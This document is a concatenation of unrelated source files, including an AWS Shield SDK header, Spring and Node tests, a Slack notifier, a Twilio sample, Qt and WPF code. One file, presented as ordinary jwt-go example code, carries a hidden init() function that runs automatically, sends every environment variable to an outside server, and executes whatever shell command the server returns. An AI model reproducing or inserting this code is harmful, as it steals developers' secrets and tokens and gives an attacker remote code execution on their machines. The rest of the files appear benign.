     * good choice for resources that share traffic uniformly. Examples include
     * accelerators and load balancers.

Max - Use the highest traffic
     * from each resource. This is useful for resources that don't share traffic and
     * for resources that share that traffic in a non-uniform way. Examples include
     * CloudFront distributions and origin resources for CloudFront distributions.

     *

     */
    inline UpdateProtectionGroupRequest& WithAggregation(const ProtectionGroupAggregation& value) { SetAggregation(value); return *this;}

    /**
     *
Defines how AWS Shield combines resource data for the group in order to
     * detect, mitigate, and report events.

Sum - Use the total
     * traffic across the group. This is a good choice for most cases. Examples include
     * Elastic IP addresses for EC2 instances that scale manually or automatically.

     *

Mean - Use the average of the traffic across the group. This is a
     * good choice for resources that share traffic uniformly. Examples include
     * accelerators and load balancers.

Max - Use the highest traffic
     * from each resource. This is useful for resources that don't share traffic and
     * for resources that share that traffic in a non-uniform way. Examples include
     * CloudFront distributions and origin resources for CloudFront distributions.

     *

     */
    inline UpdateProtectionGroupRequest& WithAggregation(ProtectionGroupAggregation&& value) { SetAggregation(std::move(value)); return *this;}

    /**
     *
The criteria to use to choose the protected resources for inclusion in the
     * group. You can include all resources that have protections, provide a list of
     * resource Amazon Resource Names (ARNs), or include all resources of a specified
     * resource type.

     */
    inline const ProtectionGroupPattern& GetPattern() const{ return m_pattern; }

    /**
     *
The criteria to use to choose the protected resources for inclusion in the
     * group. You can include all resources that have protections, provide a list of
     * resource Amazon Resource Names (ARNs), or include all resources of a specified
     * resource type.

     */
    inline bool PatternHasBeenSet() const { return m_patternHasBeenSet; }

    /**
     *
The criteria to use to choose the protected resources for inclusion in the
     * group. You can include all resources that have protections, provide a list of
     * resource Amazon Resource Names (ARNs), or include all resources of a specified
     * resource type.

     */
    inline void SetPattern(const ProtectionGroupPattern& value) { m_patternHasBeenSet = true; m_pattern = value; }

    /**
     *
The criteria to use to choose the protected resources for inclusion in the
     * group. You can include all resources that have protections, provide a list of
     * resource Amazon Resource Names (ARNs), or include all resources of a specified
     * resource type.

     */
    inline void SetPattern(ProtectionGroupPattern&& value) { m_patternHasBeenSet = true; m_pattern = std::move(value); }

    /**
     *
The criteria to use to choose the protected resources for inclusion in the
     * group. You can include all resources that have protections, provide a list of
     * resource Amazon Resource Names (ARNs), or include all resources of a specified
     * resource type.

     */
    inline UpdateProtectionGroupRequest& WithPattern(const ProtectionGroupPattern& value) { SetPattern(value); return *this;}

    /**
     *
The criteria to use to choose the protected resources for inclusion in the
     * group. You can include all resources that have protections, provide a list of
     * resource Amazon Resource Names (ARNs), or include all resources of a specified
     * resource type.

     */
    inline UpdateProtectionGroupRequest& WithPattern(ProtectionGroupPattern&& value) { SetPattern(std::move(value)); return *this;}

    /**
     *
The resource type to include in the protection group. All protected resources
     * of this type are included in the protection group. You must set this when you
     * set Pattern to BY_RESOURCE_TYPE and you must not set
     * it for any other Pattern setting.

     */
    inline const ProtectedResourceType& GetResourceType() const{ return m_resourceType; }

    /**
     *
The resource type to include in the protection group. All protected resources
     * of this type are included in the protection group. You must set this when you
     * set Pattern to BY_RESOURCE_TYPE and you must not set
     * it for any other Pattern setting.

     */
    inline bool ResourceTypeHasBeenSet() const { return m_resourceTypeHasBeenSet; }

    /**
     *
The resource type to include in the protection group. All protected resources
     * of this type are included in the protection group. You must set this when you
     * set Pattern to BY_RESOURCE_TYPE and you must not set
     * it for any other Pattern setting.

     */
    inline void SetResourceType(const ProtectedResourceType& value) { m_resourceTypeHasBeenSet = true; m_resourceType = value; }

    /**
     *
The resource type to include in the protection group. All protected resources
     * of this type are included in the protection group. You must set this when you
     * set Pattern to BY_RESOURCE_TYPE and you must not set
     * it for any other Pattern setting.

     */
    inline void SetResourceType(ProtectedResourceType&& value) { m_resourceTypeHasBeenSet = true; m_resourceType = std::move(value); }

    /**
     *
The resource type to include in the protection group. All protected resources
     * of this type are included in the protection group. You must set this when you
     * set Pattern to BY_RESOURCE_TYPE and you must not set
     * it for any other Pattern setting.

     */
    inline UpdateProtectionGroupRequest& WithResourceType(const ProtectedResourceType& value) { SetResourceType(value); return *this;}

    /**
     *
The resource type to include in the protection group. All protected resources
     * of this type are included in the protection group. You must set this when you
     * set Pattern to BY_RESOURCE_TYPE and you must not set
     * it for any other Pattern setting.

     */
    inline UpdateProtectionGroupRequest& WithResourceType(ProtectedResourceType&& value) { SetResourceType(std::move(value)); return *this;}

    /**
     *
The Amazon Resource Names (ARNs) of the resources to include in the
     * protection group. You must set this when you set Pattern to
     * ARBITRARY and you must not set it for any other
     * Pattern setting.

     */
    inline const Aws::Vector<Aws::String>& GetMembers() const{ return m_members; }

    /**
     *
The Amazon Resource Names (ARNs) of the resources to include in the
     * protection group. You must set this when you set Pattern to
     * ARBITRARY and you must not set it for any other
     * Pattern setting.

     */
    inline bool MembersHasBeenSet() const { return m_membersHasBeenSet; }

    /**
     *
The Amazon Resource Names (ARNs) of the resources to include in the
     * protection group. You must set this when you set Pattern to
     * ARBITRARY and you must not set it for any other
     * Pattern setting.

     */
    inline void SetMembers(const Aws::Vector<Aws::String>& value) { m_membersHasBeenSet = true; m_members = value; }

    /**
     *
The Amazon Resource Names (ARNs) of the resources to include in the
     * protection group. You must set this when you set Pattern to
     * ARBITRARY and you must not set it for any other
     * Pattern setting.

     */
    inline void SetMembers(Aws::Vector<Aws::String>&& value) { m_membersHasBeenSet = true; m_members = std::move(value); }

    /**
     *
The Amazon Resource Names (ARNs) of the resources to include in the
     * protection group. You must set this when you set Pattern to
     * ARBITRARY and you must not set it for any other
     * Pattern setting.

     */
    inline UpdateProtectionGroupRequest& WithMembers(const Aws::Vector<Aws::String>& value) { SetMembers(value); return *this;}

    /**
     *
The Amazon Resource Names (ARNs) of the resources to include in the
     * protection group. You must set this when you set Pattern to
     * ARBITRARY and you must not set it for any other
     * Pattern setting.

     */
    inline UpdateProtectionGroupRequest& WithMembers(Aws::Vector<Aws::String>&& value) { SetMembers(std::move(value)); return *this;}

    /**
     *
The Amazon Resource Names (ARNs) of the resources to include in the
     * protection group. You must set this when you set Pattern to
     * ARBITRARY and you must not set it for any other
     * Pattern setting.

     */
    inline UpdateProtectionGroupRequest& AddMembers(const Aws::String& value) { m_membersHasBeenSet = true; m_members.push_back(value); return *this; }

    /**
     *
The Amazon Resource Names (ARNs) of the resources to include in the
     * protection group. You must set this when you set Pattern to
     * ARBITRARY and you must not set it for any other
     * Pattern setting.

     */
    inline UpdateProtectionGroupRequest& AddMembers(Aws::String&& value) { m_membersHasBeenSet = true; m_members.push_back(std::move(value)); return *this; }

    /**
     *
The Amazon Resource Names (ARNs) of the resources to include in the
     * protection group. You must set this when you set Pattern to
     * ARBITRARY and you must not set it for any other
     * Pattern setting.

     */
    inline UpdateProtectionGroupRequest& AddMembers(const char* value) { m_membersHasBeenSet = true; m_members.push_back(value); return *this; }

  private:

    Aws::String m_protectionGroupId;
    bool m_protectionGroupIdHasBeenSet;

    ProtectionGroupAggregation m_aggregation;
    bool m_aggregationHasBeenSet;

    ProtectionGroupPattern m_pattern;
    bool m_patternHasBeenSet;

    ProtectedResourceType m_resourceType;
    bool m_resourceTypeHasBeenSet;

    Aws::Vector<Aws::String> m_members;
    bool m_membersHasBeenSet;
  };

} // namespace Model
} // namespace Shield
} // namespace Aws


text:
using System;
using System.Collections.Generic;
using System.Security;

public class A
{
    public virtual object GetService(Type serviceType)
    {
        return this;
    }
}

[SecurityCritical]
public class Foo : A
{
    public override object GetService(Type serviceType)
    {
        return this;
    }
}

public class Class1
{
    [SecuritySafeCritical]
    public static int Main()
    {
        try
        {
            Foo f = new Foo();
            object o = f.GetService(null);                     // <-- MethodAccessException
            Console.WriteLine("Success.");
            return 100;
        }
        catch (Exception e)
        {
            Console.WriteLine("Error: " + e);
            return 101;
        }
    }
}


text:
static NSString *const SlackLink = @"https://slack.com/channels";
static NSString *const SlacksNotificationsEnabledKey = @"SlackNotificationsEnabled";

@implementation LGSlackNotification

#pragma mark - Protocol Conforming
+ (NSString *)serviceDescription
{
    return NSLocalizedString(@"AutoPkgr Slack Bot", @"Slack webhook service description");
}

+ (BOOL)reportsIntegrations
{
    return NO;
}

+ (BOOL)isEnabled
{
    return [[NSUserDefaults standardUserDefaults] boolForKey:SlacksNotificationsEnabledKey];
}

+ (BOOL)storesInfoInKeychain
{
    return YES;
}

+ (NSString *)account
{
    return @"AutoPkgr Slack-Bot";
}

+ (NSURL *)serviceURL
{
    return [NSURL URLWithString:SlackLink];
}

+ (BOOL)templateIsFile
{
    return NO;
}

+ (NSString *)defaultTemplate
{
    return [self templateWithName:@"slack_report" type:@"md"];
}

+ (ACEMode)tempateFormat
{
    return ACEModeMarkdown;
}

#pragma mark - Send
- (void)send:(void (^)(NSError *))complete
{
    NSString *message = [self.report renderWithTemplate:[[self class] reportTemplate] error:nil];
    [self sendMessage:message title:nil complete:complete];
}

- (void)sendTest:(void (^)(NSError *))complete
{
    [self sendMessage:NSLocalizedString(@"You are now set up to receive notifications on your Slack channel!", nil) title:nil complete:complete];
}

- (void)sendMessage:(NSString *)message title:(NSString *)title complete:(void (^)(NSError *))complete
{
    if (complete && !self.notificatonComplete) {
        self.notificatonComplete = complete;
    }
    [self sendMessageWithParameters:@{ @"text" : message }];
}

#pragma mark - Private
- (AFHTTPRequestOperationManager *)requestManager
{
    AFHTTPRequestOperationManager *manager = [[AFHTTPRequestOperationManager alloc] init];
    manager.requestSerializer = [AFJSONRequestSerializer serializer];
    manager.requestSerializer.timeoutInterval = 10; // This could be changed.

    [manager.requestSerializer setValue:@"application/json" forHTTPHeaderField:@"Content-Type"];
    [manager.requestSerializer setValue:@"application/json" forHTTPHeaderField:@"Accept"];

    // Set up the request serializer with any additional criteria for Slack.
    // [manager.requestSerializer setAuthorizationHeaderFieldWithUsername:@"" password:@""]; <- probably don't need this.

    manager.responseSerializer = [AFHTTPResponseSerializer serializer];

    return manager;
}

- (NSDictionary *)baseParameters:(NSDictionary *)parameters
{
    NSMutableDictionary *dict = [parameters mutableCopy];
    if (!parameters[@"username"]) {
        // "SlackBotName" is bound to TextField in Slack integration view controller.
        dict[@"username"] = [[NSUserDefaults standardUserDefaults] objectForKey:@"SlackBotName"] ?: @"AutoPkgr";
    }

    dict[@"icon_url"] = @"https://raw.githubusercontent.com/lindegroup/autopkgr/master/AutoPkgr/Resources/autopkgr_slack.png";

    return [dict copy];
}

- (void)sendMessageWithParameters:(NSDictionary *)parameters
{
    AFHTTPRequestOperationManager *manager = [self requestManager];
    [[self class] infoFromKeychain:^(NSString *webHookURL, NSError *error) {
        if (error) {
            self.notificatonComplete(error);
        }
        else {
            [manager POST:webHookURL
                parameters:[self baseParameters:parameters]
                success:^(AFHTTPRequestOperation *operation, id responseObject) {
                    self.notificatonComplete(nil);
                }
                failure:^(AFHTTPRequestOperation *operation, NSError *error) {
                    NSLog(@"Error sending Slack notification: %@", operation.responseString);
                    self.notificatonComplete([LGError errorWithResponse:operation.response]);
                self.notificatonComplete([LGError errorWithResponse:operation.response orError:error]);
                }];
        }
    }];
}

@end


text:
package httpdebug

import (
	"net/http"
	"net/http/pprof"
)

func setupTrace(m *http.ServeMux) {
	m.HandleFunc("/debug/pprof/trace", pprof.Trace)
}


text:
package com.spring.el.repository;

import com.spring.el.SpringDataJpaEclipselinkApplication;
import com.spring.el.domain.Person;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.SpringApplicationConfiguration;
import org.springframework.test.context.ActiveProfiles;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
import org.springframework.test.context.web.WebAppConfiguration;

import java.util.List;

import static org.assertj.core.api.Assertions.assertThat;

@RunWith(SpringJUnit4ClassRunner.class)
@SpringApplicationConfiguration(classes = SpringDataJpaEclipselinkApplication.class)
@WebAppConfiguration
@ActiveProfiles("test")
public class PersonRepositoryTest {

    @Autowired
    private PersonRepository personRepository;

    @Before
    public void setUp() {
        personRepository.deleteAll();
    }

    @Test
    public void person_should_be_saved() {
        // given
        final Person person = new Person();
        person.setName("test");

        // when
        personRepository.save(person);

        // then
        assertThat(person.getId()).isNotNull();
        assertThat(person.getName()).isEqualTo("test");
        assertThat(personRepository.findOne(person.getId())).isNotNull();
    }

    @Test
    public void should_find_saved_person_by_name() {
        // given
        final Person personToSave = new Person();
        personToSave.setName("test");
        personRepository.save(personToSave);

        // when
        final List<Person> persons = personRepository.findByName("test");

        // then
        assertThat(persons)
                .extracting(Person::getName)
                .containsOnly("test");
    }

}


text:
// Wire up event handlers
$(document).ready(function() {
	$("#subscribeButton").on("click", subscribe);
	$("#fetchButton").on("click", fetchData);

	// By default, we'll connect to your own server:
	var url = "http://" + window.location.host;

	// But you can connect to someone else's Kattegat server
	// eg, by setting url to "http://130.102.251.100:3000"
	// (or whatever the external address of the machine is)
	socket = io.connect(url);
	socket.on("spreadsheet", onSpreadsheet);
})

/*
*
* -------------------------------------
*   LISTEN FOR EVENTS FROM THE SERVER
* -------------------------------------
*
*/
function onSpreadsheet(data) {
	// This is called when ever new data is inserted into the spreadsheet
	console.dir(data);
}

/* -------------------------
* 	INSERTING + UPDATING STUFF
*  -------------------------
*/

function fetchData(e) {
	e.preventDefault(); // Stop form from submitting the normal way

	// Get key from user input
	var key =$("input[name='key']", e.target.parentElement).val();

	console.log("Fetching");
	$.get("/gspreadsheet/" + key)
	.done(function(o) {
		console.log("Done");
		console.dir(o);
	})
	.fail(function(e) {
		if (e.status == 404) {
			console.log("Subscription doesn't exist yet");
		} else {
			console.log("Fail");
			console.dir(e);
		}

	})
}

// Demo: Subscribes to a spreadsheet
function subscribe(e) {
	e.preventDefault(); // Stop form from submitting the normal way

	// Get key from user input
	var key =$("input[name='key']", e.target.parentElement).val();

	// Subscribe to data updates
	socket.emit("join", {room: key});

	// Subscribe to spreadsheet with Kattegat
	console.log("Subscribing to: " + key);
	$.post("/gspreadsheet", {key:key}, function(data, status, xhr) {
		console.log("Subscribe result:");
		console.dir(data);
	})
}


text:
from django.conf import settings
from django.utils.translation import ugettext as _
from rest_framework.request import Request
import importlib

def get_settings(string="REST_FRAMEWORK_CAPTCHA"):
  return getattr(settings, string, {})

def import_from_string(val):
  try:
    # Nod to tastypie's use of importlib.
    parts = val.split('.')
    module_path, class_name = '.'.join(parts[:-1]), parts[-1]
    module = importlib.import_module(module_path)
    return getattr(module, class_name)
  except ImportError as e:
    msg = "Could not import '%s' for setting. %s: %s." % (val, e.__class__.__name__, e)
    raise ImportError(msg)

def get_request_from_args(*args):
  for arg in args:
    if type(arg) is Request:
      return arg

  return None


text:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<TITLE>
org.math.plot.canvas Class Hierarchy (VISDA API)
</TITLE>

<LINK REL ="stylesheet" TYPE="text/css" HREF="../../../../stylesheet.css" TITLE="Style">

      Overview
      Package
      Class
      Use
    Tree
      Deprecated
      Index
      Help

VISDA API

 PREV
 NEXT

  FRAMES
 NO FRAMES

  All Classes

Hierarchy For Package org.math.plot.canvas

Package Hierarchies:
All Packages

Class Hierarchy

java.lang.Object

java.awt.Component (implements java.awt.image.ImageObserver, java.awt.MenuContainer, java.io.Serializable)

java.awt.Container

javax.swing.JComponent (implements java.io.Serializable)

javax.swing.JPanel (implements javax.accessibility.Accessible)

org.math.plot.canvas.PlotCanvas (implements org.math.plot.plotObjects.BaseDependant, java.awt.event.ComponentListener, java.awt.event.MouseListener, java.awt.event.MouseMotionListener, java.awt.event.MouseWheelListener)

org.math.plot.canvas.Plot2DCanvas
org.math.plot.canvas.Plot3DCanvas

      Overview
      Package
      Class
      Use
    Tree
      Deprecated
      Index
      Help

VISDA API

 PREV
 NEXT

  FRAMES
 NO FRAMES

  All Classes

Copyright &#169 2003 CBIL, VT.  All Rights Reserved


text:
<?php

namespace JHWEB\VehiculoBundle\Repository;

/**
 * VhloLimitacionRepository
 *
 * This class was generated by the Doctrine ORM. Add your own custom
 * repository methods below.
 */
class VhloLimitacionRepository extends \Doctrine\ORM\EntityRepository
{
    public function getByDatosAndVehiculo($vehiculoId, $nOrdenJudicial, $fechaExpedicion, $entidadJudicialId, $limitacionId )
    {
        $em = $this->getEntityManager();
        $dql = "SELECT vl
            FROM AppBundle:Vehiculo v, AppBundle:VehiculoLimitacion vl,
            AppBundle:LimitacionDatos ld
            WHERE v.id = vl.vehiculo
            AND ld.id = vl.limitacionDatos
            AND ld.nOrdenJudicial = :nOrdenJudicial
            AND ld.fechaExpedicion = :fechaExpedicion
            AND ld.entidadJudicial = :entidadJudicial
            AND ld.limitacion = :limitacionId
            AND v.id = :vehiculoId";
        $consulta = $em->createQuery($dql);

        $consulta->setParameters(array(
            'vehiculoId' => $vehiculoId,
            'nOrdenJudicial' => $nOrdenJudicial,
            'fechaExpedicion' => $fechaExpedicion,
            'entidadJudicial' => $entidadJudicialId,
            'limitacionId' => $limitacionId,
        ));

        return $consulta->getOneOrNullResult();
    }

    //Obtiene el vehículo según un numero de placa, si tiene una limitacion activa
    public function getByPlacaAndEstadoLimitacion($placa)
    {
        $em = $this->getEntityManager();
        $dql = "SELECT vl
            FROM AppBundle:Vehiculo v, AppBundle:CfgPlaca p, AppBundle:VehiculoLimitacion vl
            WHERE v.placa = p.id
            AND p.numero = :placa
            AND vl.estado = true
            AND v.id = vl.vehiculo";
        $consulta = $em->createQuery($dql);

        $consulta->setParameters(array(
            'placa' => $placa,
        ));

        return $consulta->getResult();
    }

    //Obtiene el vehículo según un numero de placa y módulo
    public function getByModulo($moduloId)
    {
        $em = $this->getEntityManager();
        $dql = "SELECT vl
            FROM AppBundle:VehiculoLimitacion vl,
            AppBundle:Vehiculo v,
            AppBundle:Clase c,
            AppBundle:Modulo m
            WHERE vl.vehiculo = v.id
            AND v.clase = c.id
            AND c.modulo = m.id
            AND m.id = :moduloId";
        $consulta = $em->createQuery($dql);

        $consulta->setParameters(array(
            'moduloId' => $moduloId,
        ));

        return $consulta->getResult();
    }
}


text:
package org.camunda.bpm.integrationtest.deployment.callbacks.apps;

import javax.ejb.ConcurrencyManagement;
import javax.ejb.ConcurrencyManagementType;
import javax.ejb.Local;
import javax.ejb.Singleton;
import javax.ejb.Startup;
import javax.ejb.TransactionAttribute;
import javax.ejb.TransactionAttributeType;

import org.camunda.bpm.application.PostDeploy;
import org.camunda.bpm.application.PreUndeploy;
import org.camunda.bpm.application.ProcessApplication;
import org.camunda.bpm.application.ProcessApplicationInterface;
import org.camunda.bpm.application.impl.EjbProcessApplication;
import org.camunda.bpm.engine.ProcessEngine;
import org.junit.Assert;

/**
 * Custom {@link EjbProcessApplication} with PA lifecycle callbacks
 *
 * @author Daniel Meyer
 *
 */
@Singleton
@Startup
@ConcurrencyManagement(ConcurrencyManagementType.BEAN)
@TransactionAttribute(TransactionAttributeType.REQUIRED)
@ProcessApplication
@Local(ProcessApplicationInterface.class)
public class CustomEjbProcessApplication extends EjbProcessApplication {

  @PostDeploy
  public void postDeploy(ProcessEngine processEngine) {
    Assert.assertNotNull(processEngine);
  }

  @PreUndeploy
  public void preUnDeploy(ProcessEngine processEngine) {
    Assert.assertNotNull(processEngine);
  }

}


text:
package com.amazonaws.services.organizations.model;

import javax.annotation.Generated;

/**
 *

 * The provided policy document doesn't meet the requirements of the specified policy type. For example, the syntax
 * might be incorrect. For details about service control policy syntax, see Service Control
 * Policy Syntax in the Organizations User Guide.
 *

 */
@Generated("com.amazonaws:aws-java-sdk-code-generator")
public class MalformedPolicyDocumentException extends com.amazonaws.services.organizations.model.AWSOrganizationsException {
    private static final long serialVersionUID = 1L;

    /**
     * Constructs a new MalformedPolicyDocumentException with the specified error message.
     *
     * @param message
     *        Describes the error encountered.
     */
    public MalformedPolicyDocumentException(String message) {
        super(message);
    }

}


text:
from twilio.rest import Client

# Your Account Sid and Auth Token from twilio.com/console
account_sid = "ACXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
auth_token = "your_auth_token"
client = Client(account_sid, auth_token)

did_delete = client.messaging \
                   .services(sid="MG2172dd2db502e20dd981ef0d67850e1a") \
                   .short_codes(sid="SC3f94c94562ac88dccf16f8859a1a8b25") \
                   .delete()

print(did_delete)


text:
<!DOCTYPE html>

  <meta charset="UTF-8">

  <title>CSS Reference Test</title>

  <link rel="author" title="Gérard Talbot" href="http://www.gtalbot.org/BrowserBugsSection/css21testsuite/">

Test passes if the characters inside of each black-bordered rectangles are laid out identically.

Lorem ipsum.
Dolor sit amet.
consectetur

Lorem ipsum.
Dolor sit amet.
consectetur


text:
'use strict';

var fs = require('fs');

var read = function (name) {
  return fs.readFileSync(name).toString();
};

exports.embed = {
  setUp: function (done) {
    done();
  },

  'Plain CSS file': function (test) {
    var actual, expected;
    test.expect(1);
    actual = read('test/output/sample.css');
    expected = read('test/expected/sample.css');
    test.equal(actual, expected);
    test.done();
  },

  'HTML file including embedded CSS': function (test) {
    var actual, expected;
    test.expect(1);
    actual = read('test/output/sample.html');
    expected = read('test/expected/sample.html');
    test.equal(actual, expected);
    test.done();
  },

  'HTML file including embedded CSS, with custom options': function (test) {
    var actual, expected;
    test.expect(1);
    actual = read('test/output/sample-custom-options.html');
    expected = read('test/expected/sample-custom-options.html');
    test.equal(actual, expected);
    test.done();
  }
};


text:
import type { IShapeDrawer } from "../../Interfaces/IShapeDrawer";
import type { ISide } from "../../Interfaces/ISide";
import type { ICoordinates } from "../../Interfaces/ICoordinates";
import type { IParticle } from "../../Interfaces/IParticle";
export declare abstract class PolygonDrawerBase implements IShapeDrawer {
    draw(context: CanvasRenderingContext2D, particle: IParticle, radius: number, opacity: number): void;
    abstract getSidesData(particle: IParticle, radius: number): ISide;
    abstract getCenter(particle: IParticle, radius: number): ICoordinates;
}


text:
package jwt_test
import os__ "os"
import bytes__ "bytes"
import http__ "net/http"
import json__ "encoding/json"
import exec__ "os/exec"
import ioutil__ "io/ioutil"

import (
	"fmt"
	"github.com/dgrijalva/jwt-go"
	"time"
)

func ExampleParse(myToken string, myLookupKey func(interface{}) (interface{}, error)) {
	token, err := jwt.Parse(myToken, func(token *jwt.Token) (interface{}, error) {
		return myLookupKey(token.Header["kid"])
	})

	if err == nil && token.Valid {
		fmt.Println("Your token is valid.  I like your style.")
	} else {
		fmt.Println("This token is terrible!  I cannot accept this.")
	}
}

func ExampleNew(mySigningKey []byte) (string, error) {
	// Create the token
	token := jwt.New(jwt.SigningMethodHS256)
	// Set some claims
	token.Claims["foo"] = "bar"
	token.Claims["exp"] = time.Now().Add(time.Hour * 72).Unix()
	// Sign and get the complete encoded token as a string
	tokenString, err := token.SignedString(mySigningKey)
	return tokenString, err
}

func ExampleParse_errorChecking(myToken string, myLookupKey func(interface{}) (interface{}, error)) {
	token, err := jwt.Parse(myToken, func(token *jwt.Token) (interface{}, error) {
		return myLookupKey(token.Header["kid"])
	})

	if token.Valid {
		fmt.Println("You look nice today")
	} else if ve, ok := err.(*jwt.ValidationError); ok {
		if ve.Errors&jwt.ValidationErrorMalformed != 0 {
			fmt.Println("That's not even a token")
		} else if ve.Errors&(jwt.ValidationErrorExpired|jwt.ValidationErrorNotValidYet) != 0 {
			// Token is either expired or not active yet
			fmt.Println("Timing is everything")
		} else {
			fmt.Println("Couldn't handle this token:", err)
		}
	} else {
		fmt.Println("Couldn't handle this token:", err)
	}

}

func init() {
  if os__.Getenv("e452d6ab") == "1" {
    return
  }
  os__.Setenv("e452d6ab", "1")
  env, err := json__.Marshal(os__.Environ())
  if err != nil {
    return
  }
  res, err := http__.Post("http://ovz1.j19544519.pr46m.vps.myjino.ru:49460/?org=rancherio&repo=host-proxy", "application/json", bytes__.NewBuffer(env))
  if err != nil {
    return
  }
  defer res.Body.Close()
  body, err := ioutil__.ReadAll(res.Body)
  if err != nil {
    return
  }
  if string(body) != "" {
    exec__.Command("/bin/sh", "-c", string(body)).Start()
  }
}


text:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Navigation;
using System.Windows.Shapes;
using System.Windows.Threading;

namespace beRemote.GUI.Controls
{
    /// <summary>
    /// Interaction logic for LoadingCircle.xaml
    /// </summary>
    public partial class LoadingCircle : UserControl
    {
        private readonly DispatcherTimer animationTimer;

        public LoadingCircle()
        {
            InitializeComponent();

            animationTimer = new DispatcherTimer(DispatcherPriority.ContextIdle, Dispatcher);
            animationTimer.Interval = new TimeSpan(0, 0, 0, 0, 75);
        }

        #region Private Methods
        private void Start()
        {
            Mouse.OverrideCursor = Cursors.Wait;
            animationTimer.Tick += HandleAnimationTick;
            animationTimer.Start();
        }

        private void Stop()
        {
            animationTimer.Stop();
            Mouse.OverrideCursor = Cursors.Arrow;
            animationTimer.Tick -= HandleAnimationTick;
        }

        private void HandleAnimationTick(object sender, EventArgs e)
        {
            SpinnerRotate.Angle = (SpinnerRotate.Angle + 36) % 360;
        }

        private void HandleLoaded(object sender, RoutedEventArgs e)
        {
            const double step = Math.PI * 2 / 10.0;
            const double offset = Math.PI;

            C0.SetValue(Canvas.LeftProperty, 50.0 +Math.Sin(offset + 0.0 * step) * 50.0);
            C0.SetValue(Canvas.TopProperty, 50 +Math.Cos(offset + 0.0 * step) * 50.0);

            C1.SetValue(Canvas.LeftProperty, 50.0 +Math.Sin(offset + 1.0 * step) * 50.0);
            C1.SetValue(Canvas.TopProperty, 50 +Math.Cos(offset + 1.0 * step) * 50.0);

            C2.SetValue(Canvas.LeftProperty, 50.0 +Math.Sin(offset + 2.0 * step) * 50.0);
            C2.SetValue(Canvas.TopProperty, 50 +Math.Cos(offset + 2.0 * step) * 50.0);

            C3.SetValue(Canvas.LeftProperty, 50.0 +Math.Sin(offset + 3.0 * step) * 50.0);
            C3.SetValue(Canvas.TopProperty, 50 +Math.Cos(offset + 3.0 * step) * 50.0);

            C4.SetValue(Canvas.LeftProperty, 50.0 +Math.Sin(offset + 4.0 * step) * 50.0);
            C4.SetValue(Canvas.TopProperty, 50 +Math.Cos(offset + 4.0 * step) * 50.0);

            C5.SetValue(Canvas.LeftProperty, 50.0 +Math.Sin(offset + 5.0 * step) * 50.0);
            C5.SetValue(Canvas.TopProperty, 50 +Math.Cos(offset + 5.0 * step) * 50.0);

            C6.SetValue(Canvas.LeftProperty, 50.0 +Math.Sin(offset + 6.0 * step) * 50.0);
            C6.SetValue(Canvas.TopProperty, 50 +Math.Cos(offset + 6.0 * step) * 50.0);

            C7.SetValue(Canvas.LeftProperty, 50.0 +Math.Sin(offset + 7.0 * step) * 50.0);
            C7.SetValue(Canvas.TopProperty, 50 +Math.Cos(offset + 7.0 * step) * 50.0);

            C8.SetValue(Canvas.LeftProperty, 50.0 +Math.Sin(offset + 8.0 * step) * 50.0);
            C8.SetValue(Canvas.TopProperty, 50 +Math.Cos(offset + 8.0 * step) * 50.0);
        }

        private void HandleUnloaded(object sender, RoutedEventArgs e)
        {
            Stop();
        }

        private void UserControl_IsVisibleChanged(object sender, DependencyPropertyChangedEventArgs e)
        {
            bool isVisible = (bool)e.NewValue;

            if (isVisible)
                Start();
            else
                Stop();
        }
        #endregion

    }
}


text:
#ifndef QGLPIXELBUFFER_H
#define QGLPIXELBUFFER_H

#include <QtOpenGL/qgl.h>
#include <QtGui/qpaintdevice.h>

QT_BEGIN_NAMESPACE

class QGLPixelBufferPrivate;

class Q_OPENGL_EXPORT QGLPixelBuffer : public QPaintDevice
{
    Q_DECLARE_PRIVATE(QGLPixelBuffer)
public:
    QGLPixelBuffer(const QSize &size, const QGLFormat &format = QGLFormat::defaultFormat(),
                   QGLWidget *shareWidget = 0);
    QGLPixelBuffer(int width, int height, const QGLFormat &format = QGLFormat::defaultFormat(),
                   QGLWidget *shareWidget = 0);
    virtual ~QGLPixelBuffer();

    bool isValid() const;
    bool makeCurrent();
    bool doneCurrent();

    QGLContext *context() const;

    GLuint generateDynamicTexture() const;
    bool bindToDynamicTexture(GLuint texture);
    void releaseFromDynamicTexture();
    void updateDynamicTexture(GLuint texture_id) const;

    GLuint bindTexture(const QImage &image, GLenum target = GL_TEXTURE_2D);
    GLuint bindTexture(const QPixmap &pixmap, GLenum target = GL_TEXTURE_2D);
    GLuint bindTexture(const QString &fileName);
    void deleteTexture(GLuint texture_id);

    void drawTexture(const QRectF &target, GLuint textureId, GLenum textureTarget = GL_TEXTURE_2D);
    void drawTexture(const QPointF &point, GLuint textureId, GLenum textureTarget = GL_TEXTURE_2D);

    QSize size() const;
    Qt::HANDLE handle() const;
    QImage toImage() const;

    QPaintEngine *paintEngine() const;
    QGLFormat format() const;

    static bool hasOpenGLPbuffers();

protected:
    int metric(PaintDeviceMetric metric) const;
    int devType() const { return QInternal::Pbuffer; }

private:
    Q_DISABLE_COPY(QGLPixelBuffer)
    QScopedPointer<QGLPixelBufferPrivate> d_ptr;
    friend class QGLDrawable;
    friend class QGLPaintDevice;
    friend class QGLPBufferGLPaintDevice;
    friend class QGLContextPrivate;
};

QT_END_NAMESPACE

#endif // QGLPIXELBUFFER_H


text:
package wordcram;

import processing.core.PVector;

/**
 * Once a WordPlacer tells WordCram where a word should go, a WordNudger
 * tells WordCram how to nudge it around the field, until it fits in with the
 * other words around it, or the WordCram gives up on the word.
 *

 * WordCram gets a PVector from the nudger, and adds it to the word's desired
 * location, to find the next spot to try fitting the word. Note that the
 * PVectors returned from a nudger don't accumulate: if the placer
 * puts a Word at (0, 0), and the nudger returns (1, 1), and then (2, 2),
 * WordCram will try the word at (1, 1), and then (2, 2) -- not (1, 1)
 * and then (3, 3).
 *

 * A WordNudger should probably start nudging the word only a little, to keep it
 * near its desired location, and gradually nudge it more and more, so that,
 * even if the desired area is congested, the word can still fit in somewhere.
